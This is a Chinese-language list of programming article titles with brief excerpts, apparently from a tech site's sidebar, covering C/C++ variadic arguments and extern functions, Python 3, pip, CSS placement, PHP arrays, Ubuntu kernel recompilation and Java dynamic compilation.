  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录